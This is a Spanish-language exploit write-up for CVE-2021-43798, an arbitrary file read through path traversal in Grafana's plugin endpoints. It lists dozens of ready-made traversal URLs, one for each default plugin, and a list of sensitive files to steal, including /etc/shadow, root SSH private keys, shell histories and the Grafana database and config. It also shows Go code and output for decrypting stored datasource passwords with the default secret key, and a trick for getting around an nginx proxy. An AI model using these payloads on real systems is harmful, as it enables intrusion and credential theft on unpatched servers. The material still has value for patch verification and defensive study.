CVE-2021-43798 Vulnerabilidad de lectura no autorizada de archivos arbitrarios en Grafana

8.3.1 (2021-12-07) Seguridad: Corrige CVE-2021-43798. Para más información, consulta nuestro blog

https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/

Ejemplo: obtener la contraseña de la base de datos

/var/lib/grafana/grafana.db

Verificación de contraseña en texto plano con sal https://github.com/grafana/grafana/blob/985c61d7008211e0fbee7d095bf3424adf71b4ac/pkg/util/encoding.go

package main

import (
	"crypto/sha256"
	"encoding/hex"
	"fmt"
	"golang.org/x/crypto/pbkdf2"
)

// EncodePassword encodes a password using PBKDF2.
func EncodePassword(password string, salt string) string {
	newPasswd := pbkdf2.Key([]byte(password), []byte(salt), 10000, 50, sha256.New)
	return hex.EncodeToString(newPasswd)
}

func main() {
	fmt.Println(EncodePassword("admin", "F3FAxVm33R"))
}

Configuración /etc/grafana/grafana.ini

bash-5.1$ ps -ef |grep grafana
    1 grafana   0:35 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning

Asegurar el cifrado de los secretos de las fuentes de datos

Las fuentes de datos almacenan contraseñas y contraseñas de autenticación básica en secureJsonData cifrado (AES-256 en modo CFB) por defecto. Las fuentes de datos existentes seguirán funcionando con contraseñas no cifradas. Si desea migrar al almacenamiento cifrado para sus fuentes de datos existentes, puede hacerlo de la siguiente manera:

Para las fuentes de datos creadas a través de la interfaz de usuario, debe ir a la configuración de la fuente de datos, volver a ingresar la contraseña o la contraseña de autenticación básica y guardar la fuente de datos.
Para las fuentes de datos creadas mediante aprovisionamiento, debe actualizar su archivo de configuración y usar el campo secureJsonData.password o secureJsonData.basicAuthPassword. Consulte la [documentación de aprovisionamiento]({{< relref "../administration/provisioning" >}}) para ver un ejemplo de la configuración actual.

https://github.com/grafana/grafana/blob/main/pkg/util/encryption.go

descifrar contraseña

Por ejemplo: desde la base de datos /var/lib/grafana/grafana.db se obtiene el texto cifrado de la fuente de datos R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==; mediante la lectura de secret_key en /etc/grafana/grafana.ini (por defecto: SW2YcwTIb9zpOOhoPsMm), se realiza el descifrado.

$ go run AESDecrypt.go
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
[*] plainText= jas502n

cifrar contraseña

Por ejemplo: cifre la contraseña en texto plano jas502n con la clave para obtener el texto cifrado.

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] PlainText= jas502n
[*] EncodePassword= QWhMOFdNZkqW6bx9YM0dPHMjzInsvycQXgMmMfFqpA==

otro ataque

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

Default plugins count: 40
Successful count: 48

Evitar el error 400 del proxy nginx de Grafana

https://twitter.com/chybeta/status/1468410745264041992

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

0x0 Lista de plugins instalados por defecto (40):

http://x.x.x.x:3000/api/plugins?embedded=0

alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin

0x01 /usr/share/grafana/public/app/plugins/datasource ( 21)

/usr/share/grafana/public/app/plugins/datasource

bash-5.1$ ls -l
drwxr-xr-x    3 root     root          4096 Oct  7 10:55 alertmanager
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 cloud-monitoring
drwxr-xr-x    8 root     root          4096 Oct  7 10:55 cloudwatch
drwxr-xr-x    2 root     root          4096 Oct  7 10:55 dashboard
drwxr-xr-x    9 root     root          4096 Oct  7 10:55 elasticsearch
drwxr-xr-x    3 root     root          4096 Oct  7 10:55 grafana
drwxr-xr-x   19 root     root          4096 Oct  7 10:55 grafana-azure-monitor-datasource
drwxr-xr-x    9 root     root          4096 Oct  7 10:55 graphite
drwxr-xr-x    6 root     root          4096 Oct  7 10:55 influxdb
drwxr-xr-x    4 root     root          4096 Oct  7 10:55 jaeger
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 loki
drwxr-xr-x    2 root     root          4096 Oct  7 10:55 mixed
drwxr-xr-x    5 root     root          4096 Oct  7 10:55 mssql
drwxr-xr-x    5 root     root          4096 Oct  7 10:55 mysql
drwxr-xr-x    6 root     root          4096 Oct  7 10:55 opentsdb
drwxr-xr-x    5 root     root          4096 Oct  7 10:55 postgres
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 prometheus
drwxr-xr-x    4 root     root          4096 Oct  7 10:55 tempo
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 testdata
drwxr-xr-x    4 root     root          4096 Oct  7 10:55 zipkin

¡Fuzzing exitoso!

/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

0x02 /usr/share/grafana/public/app/plugins/ (29)

/usr/share/grafana/public/app/plugins/panel/

drwxr-xr-x    2 root     root        4.0K Oct  7 10:55 alertGroups
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 alertlist
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 annolist
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 barchart
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 bargauge
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 canvas
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 dashlist
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 debug
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 gauge
drwxr-xr-x    8 root     root        4.0K Oct  7 10:55 geomap
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 gettingstarted
drwxr-xr-x    5 root     root        4.0K Oct  7 10:55 graph
drwxr-xr-x    5 root     root        4.0K Oct  7 10:55 heatmap
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 histogram
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 live
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 logs
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 news
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 nodeGraph
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 piechart
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 pluginlist
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 stat
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 state-timeline
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 status-history
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 table
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 table-old
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 text
drwxr-xr-x    6 root     root        4.0K Oct  7 10:55 timeseries
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 welcome
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 xychart

Fuzzing exitoso

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd

Grafana-CVE-2021-43798

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